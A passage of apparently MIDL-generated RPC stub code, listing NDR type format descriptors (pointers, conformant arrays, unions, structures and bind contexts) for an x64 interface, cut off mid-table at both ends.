(802) */\n/* 1114 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1116 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1118 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1120) */\n/* 1120 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 1122 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1124 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1126 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1128 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 1130 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1132 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1136 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1140 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1142 */\t\n\t\t\t0x11, 0xc,\t/* FC_RP [alloced_on_stack] [simple_pointer] */\n/* 1144 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1146 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1148 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1150) */\n/* 1150 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 1152 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1154 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1156 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1158 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 1160 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1162 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1166 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1170 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1172 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1174 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1176) */\n/* 1176 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 1178 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1180 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1182 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1184 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 1186 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1188 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1192 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1196 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1198 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 1200 */\tNdrFcShort( 0x3e ),\t/* Offset= 62 (1262) */\n/* 1202 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 1204 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1206 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 1208 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1210 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1212 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1216 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1220 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1222) */\n/* 1222 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1224 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1226 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 1230 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (1234) */\n/* 1232 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (1231) */\n/* 1234 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1236 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1238) */\n/* 1238 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1240 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 1242 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1244 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (1250) */\n/* 1246 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1248 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1250 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1252 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1254 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1256 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1258 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1260 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1262 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1264 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1266 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1268 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (1268) */\n/* 1270 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1272 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1274 */\tNdrFcShort( 0xffb8 ),\t/* Offset= -72 (1202) */\n/* 1276 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1278 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 1280 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1282) */\n/* 1282 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 1284 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1286 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1288 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1290 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 1292 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1294 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1298 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1302 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1304 */\t\n\t\t\t0x11, 0x8,\t/* FC_RP [simple_pointer] */\n/* 1306 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1308 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 1310 */\tNdrFcShort( 0xff42 ),\t/* Offset= -190 (1120) */\n/* 1312 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 1314 */\tNdrFcShort( 0xff5c ),\t/* Offset= -164 (1150) */\n/* 1316 */\t\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 1318 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1320) */\n/* 1320 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xe1,\t\t/* Ctxt flags:  via ptr, in, out, can't be null */\n/* 1322 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1324 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 1326 */\tNdrFcShort( 0x88 ),\t/* Offset= 136 (1462) */\n/* 1328 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 1330 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1332 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 1334 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1336 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1338 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1342 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1346 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1348) */\n/* 1348 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1350 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 1352 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 1356 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (1366) */\n/* 1358 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 1362 */\tNdrFcShort( 0x32 ),\t/* Offset= 50 (1412) */\n/* 1364 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (1363) */\n/* 1366 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1368 */\tNdrFcShort( 0x14 ),\t/* Offset= 20 (1388) */\n/* 1370 */\t\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1372 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1374 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1376 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1378 */\t\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1380 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1382 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1384 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1386 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1388 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1390 */\tNdrFcShort( 0x28 ),\t/* 40 */\n/* 1392 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1394 */\tNdrFcShort( 0xe ),\t/* Offset= 14 (1408) */\n/* 1396 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1398 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 1400 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xffe1 ),\t/* Offset= -31 (1370) */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 1404 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xffe5 ),\t/* Offset= -27 (1378) */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1408 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1410 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1412 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1414 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1416) */\n/* 1416 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1418 */\tNdrFcShort( 0x58 ),\t/* 88 */\n/* 1420 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1422 */\tNdrFcShort( 0x18 ),\t/* Offset= 24 (1446) */\n/* 1424 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1426 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 1428 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xffc5 ),\t/* Offset= -59 (1370) */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 1432 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xffc9 ),\t/* Offset= -55 (1378) */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1436 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1438 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1440 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1442 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x42,\t\t/* FC_STRUCTPAD6 */\n/* 1444 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1446 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1448 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1450 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1452 */\t\n\t\t\t0x22,\t\t/* FC_C_CSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1454 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1456 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1458 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1460 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1462 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1464 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1466 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1468 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (1468) */\n/* 1470 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1472 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1474 */\tNdrFcShort( 0xff6e ),\t/* Offset= -146 (1328) */\n/* 1476 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1478 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 1480 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1482) */\n/* 1482 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 1484 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 1486 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x55,\t\t/* FC_DIV_2 */\n/* 1488 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1490 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 1492 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1494 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1498 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1502 */\t0x5,\t\t/* FC_WCHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1504 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 1506 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1508) */\n/* 1508 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 1510 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1512 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1514 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 1516 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 1518 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1520 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1524 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1528 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1530 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 1532 */\tNdrFcShort( 0xfe9c ),\t/* Offset= -356 (1176) */\n/* 1534 */\t\n\t\t\t0x11, 0x8,\t/* FC_RP [simple_pointer] */\n/* 1536 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1538 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 1540 */\tNdrFcShort( 0xaa ),\t/* Offset= 170 (1710) */\n/* 1542 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 1544 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1546 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 1548 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1550 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1552 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1556 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1560 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1562) */\n/* 1562 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1564 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1566 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1570 */\tNdrFcShort( 0x8008 ),\t/* Simple arm type: FC_LONG */\n/* 1572 */\tNdrFcLong( 0x3 ),\t/* 3 */\n/* 1576 */\tNdrFcShort( 0x8008 ),\t/* Simple arm type: FC_LONG */\n/* 1578 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 1582 */\tNdrFcShort( 0x8008 ),\t/* Simple arm type: FC_LONG */\n/* 1584 */\tNdrFcLong( 0x4 ),\t/* 4 */\n/* 1588 */\tNdrFcShort( 0xf9ce ),\t/* Offset= -1586 (2) */\n/* 1590 */\tNdrFcLong( 0x5 ),\t/* 5 */\n/* 1594 */\tNdrFcShort( 0xf9c8 ),\t/* Offset= -1592 (2) */\n/* 1596 */\tNdrFcLong( 0x6 ),\t/* 6 */\n/* 1600 */\tNdrFcShort( 0xf9c2 ),\t/* Offset= -1598 (2) */\n/* 1602 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 1606 */\tNdrFcShort( 0x800a ),\t/* Simple arm type: FC_FLOAT */\n/* 1608 */\tNdrFcLong( 0x7 ),\t/* 7 */\n/* 1612 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (1616) */\n/* 1614 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (1613) */\n/* 1616 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1618 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1620 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1622 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (1628) */\n/* 1624 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1626 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1628 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1630 */\tNdrFcShort( 0xf9b4 ),\t/* Offset= -1612 (18) */\n/* 1632 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1634 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 1636 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1638 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (1638) */\n/* 1640 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1642 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1644 */\tNdrFcShort( 0xff9a ),\t/* Offset= -102 (1542) */\n/* 1646 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1648 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1650 */\tNdrFcShort( 0x28 ),\t/* 40 */\n/* 1652 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1654 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (1664) */\n/* 1656 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1658 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 1660 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xffe3 ),\t/* Offset= -29 (1632) */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1664 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1666 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1668 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 1670 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1672 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1674 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 1676 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1678 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1680 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1684 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1688 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 1692 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 1694 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1696 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1700 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1704 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1706 */\tNdrFcShort( 0xffc6 ),\t/* Offset= -58 (1648) */\n/* 1708 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1710 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1712 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1714 */\tNdrFcShort( 0xffd2 ),\t/* Offset= -46 (1668) */\n/* 1716 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (1716) */\n/* 1718 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1720 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1722 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1724 */\t\n\t\t\t0x11, 0x14,\t/* FC_RP [alloced_on_stack] [pointer_deref] */\n/* 1726 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1728) */\n/* 1728 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1730 */\tNdrFcShort( 0x40 ),\t/* Offset= 64 (1794) */\n/* 1732 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1734 */\tNdrFcShort( 0x28 ),\t/* 40 */\n/* 1736 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1738 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (1748) */\n/* 1740 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1742 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 1744 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xff8f ),\t/* Offset= -113 (1632) */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1748 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1750 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1752 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 1754 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1756 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1758 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 1760 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1762 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1764 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1768 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1772 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 1776 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 1778 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1780 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1784 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1788 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1790 */\tNdrFcShort( 0xffc6 ),\t/* Offset= -58 (1732) */\n/* 1792 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1794 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1796 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1798 */\tNdrFcShort( 0xffd2 ),\t/* Offset= -46 (1752) */\n/* 1800 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (1800) */\n/* 1802 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1804 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1806 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1808 */\t\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 1810 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1812) */\n/* 1812 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xa0,\t\t/* Ctxt flags:  via ptr, out, */\n/* 1814 */\t0x1,\t\t/* 1 */\n\t\t\t0x1,\t\t/* 1 */\n/* 1816 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x41,\t\t/* Ctxt flags:  in, can't be null */\n/* 1818 */\t0x1,\t\t/* 1 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1820 */\t\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 1822 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1824) */\n/* 1824 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xe1,\t\t/* Ctxt flags:  via ptr, in, out, can't be null */\n/* 1826 */\t0x1,\t\t/* 1 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1828 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 1830 */\tNdrFcShort( 0x234 ),\t/* Offset= 564 (2394) */\n/* 1832 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 1834 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1836 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 1838 */\tNdrFcShort( 